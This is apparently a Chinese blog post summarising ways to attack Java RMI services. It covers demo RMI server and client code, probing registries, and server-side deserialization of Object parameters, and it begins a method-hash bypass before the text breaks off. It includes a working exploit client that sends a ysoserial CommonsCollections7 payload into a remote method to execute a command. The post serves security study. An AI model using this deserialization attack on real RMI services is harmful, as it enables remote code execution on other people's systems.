一文回顾攻击Java RMI方式

前序

RMI存在着三个主体

  • RMI Registry
  • RMI Client
  • RMI Server

而对于这三个主体其实都可以攻击,当然了需要根据jdk版本以及环境寻找对应的利用方式。

Ps.在最初接触的RMI洞是拿着工具一把梭,因此在以前看来笔者以为RMI是一个服务,暴露出端口后就可以随意攻击,现在看来是我才疏学浅了,对于RMI的理解过于片面了。本文是笔者在学习RMI的各种攻击方式后的小结,若有错误,请指出。

Ps1.本文并无任何新知识点,仅仅是对于各位师傅文章的一个小总结。

RMI为何

关于RMI可以阅读: 从懵逼到恍然大悟之Java中RMI的使用_lmy86263的博客-CSDN博客_java rmi server

RMI全称是Remote Method Invocation(远程⽅法调⽤),目的是为了让两个隔离的java虚拟机,如虚拟机A能够调用到虚拟机B中的对象,而且这些虚拟机可以不存在于同一台主机上。

开头处说到了RMI的三种主体,那么以一个简单的Demo来理解RMI通信的流程。

RMI中主要的api大致有:

java.rmi
java.rmi.server
java.rmi.registry

首先就服务端而言,需要提供远程对象给与客户端远程调用,所谓远程对象即实现java.rmi.Remote接口的类或者继承了java.rmi.Remote接口的所有接口的远程对象。

例如远程接口如下:

package com.hhhm.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloRImpl extends Remote {
    String hello() throws RemoteException;
    String test() throws RemoteException;
}

需要有一个实现该接口的类:

package com.hhhm.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloR extends UnicastRemoteObject implements HelloRImpl{
    protected HelloR() throws RemoteException {
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("hello world");
        return "hello";
    }

    @Override
    public String test() throws RemoteException {
        System.out.println("just test");
        return "test";
    }
}

首先有几个关键点:

  • 实现方法必须抛出RemoteException异常
  • 实现类需要同时继承UnicastRemoteObject类
  • 只有在接口中声明的方法才能被调用到

那么首先需要开启一个RMI Registry,开启方式也很简单,在 $JAVA_HOME/bin/ 下有一个rmiregistry,因此我们可以直接利用它来开启一个Registry。

rmiregistry 1099

Tips:rmiregistry需要运行在项目的target/classes目录下,否则server端会爆出:

java.lang.ClassNotFoundException: com.hhhm.rmi.HelloR

当然了也可以直接使用代码来实现一个registry:

LocateRegistry.createRegistry(1099);

就服务端而言其实现的关键在于Naming这个类,利用bind方法将对象绑定一个名,为了方便我直接将Server和Registry放到一起:

package com.hhhm.rmi;

import org.junit.Test;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class HelloRmiServer {

    public static void main(String[] args) {
        HelloR helloR = null;
        try{
            LocateRegistry.createRegistry(1099);
            helloR = new HelloRImpl();
            Naming.bind("rmi://127.0.0.1:1099/hell",helloR);
            //Naming.bind("rmi://127.0.0.1:1099/hello",helloR);
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

默认地会去绑定到localhost的1099端口,也可以指定绑定的ip、端口。

客户端的操作可变性就很多了,同样是通过Naming类中提供的方法来操作,有如下几种方法:

  • lookup
  • list
  • bind
  • rebind
  • unbind

此处就存在有如利用unbind去解绑掉注册对象,利用bind绑定到恶意端达成攻击,此处暂且不提,回到主线,客户端同样是几行代码搞定:

package com.hhhm.rmi;

import org.junit.Test;

import java.rmi.Naming;

public class HelloRmiClient {

    @Test
    public void run() throws Exception{
        String[] clazz = Naming.list("rmi://127.0.0.1:1099");
        for (String s:clazz) {
            System.out.println(s);
        }
    }
}
//opt://127.0.0.1:1099/hell

探测RMI服务接口

在未知接口的情况下,除了使用list之外,还有其他方式能够获取到更详细的接口信息,其中有一个工具有做到了这一个效果: https://github.com/NickstaDB/BaRMIe

其效果大致如下:

而实际上nmap中也实现了这一功能:

其原理在: https://xz.aliyun.com/t/7930#toc-3,从文章摘抄出来总结:

LocateRegistry.getRegistry
reg.list()
reg.unbind(unbindName);
reg.lookup(objectNames[i]);

而其攻击的方式也就是根据返回的classname判断是否存在已知组件的危险服务,然后对其尝试进行攻击,所以显得这个漏洞有些没有营养,那么再看看其他攻击方式。

在已知接口的调用方式下进行攻击

其实也属于比较鸡肋的漏洞,因为在已知接口的调用方式这种情况确实比较少见,所谓已知接口的调用方式即指的是例如我们上面通过探测端口可知访问该接口的方式为:

rmi://127.0.0.1:1099/hell

同时类名为HelloR,但我们在没有服务端源码的情况下是不清楚HelloR接口下有哪些方法可以被调用,当然了这些方法的参数类型更是无从得知,不过在已知接口调用方式的情况下确实是可以利用这一方式达成攻击的。

此种需要分开为两种情况:

  • 参数为Object类
  • 参数非Object类

详细参考: https://xz.aliyun.com/t/7930#toc-6

其一是为何在传输Object类的参数时都会在服务端反序列化,其关键代码位于:

sun.rmi.server.UnicastServerRef#dispatch(Jdku66):

其中var4是用于校验客户端调用的方法是否与服务端存在的一致,否则会爆出:

unrecognized method hash: method not supported by remote object

var4暂且不提,服务端对于Object类型参数反序列化的点位于unmarshalValue函数内:

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var1.readObject();
        }
    }

易知在参数不是基本数据类型时会进入到else,从而进入到readObject做反序列化操作。

因此打object类型的方法很简单,直接用yso生成object对象,调用即可,例如上文讲到的的HelloR类新增一个参数为object类的方法

void helloObject(Object payload) throws RemoteException;

通过lookup调用方法然后把payload传递过去即可

package com.hhhm.rmi;

import ysoserial.payloads.ObjectPayload;

import java.rmi.Naming;

public class AttackInterTypeofObject {
    public static void main(String[] args) {
        String payloadType = "CommonsCollections7";
        String payloadArg = "open /System/Applications/Calculator.app";
        Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
        HelloR helloR = null;
        try{
            helloR = (HelloR) Naming.lookup("rmi://127.0.0.1:1099/hell");
            helloR.helloObject(payloadObject);
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

其二是绕过Object类型参数的方式比较有趣,重点在于绕过method hash。

上面说到了,在Client端直接修改参数为Object时会爆出unrecognized method hash的错误,而在使用wireshark是可以直接抓到这一个method hash,这意味着method hash的值是我们可控的,也就是说我们完全可以通过修改客户端来实现攻击的利用,在: Attacking Java RMI services after JEP 290 | MOGWAI LABS 一文中对此也做出了总结:

  • 将 java.rmi 包的代码复制到一个新的包中,并在那
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值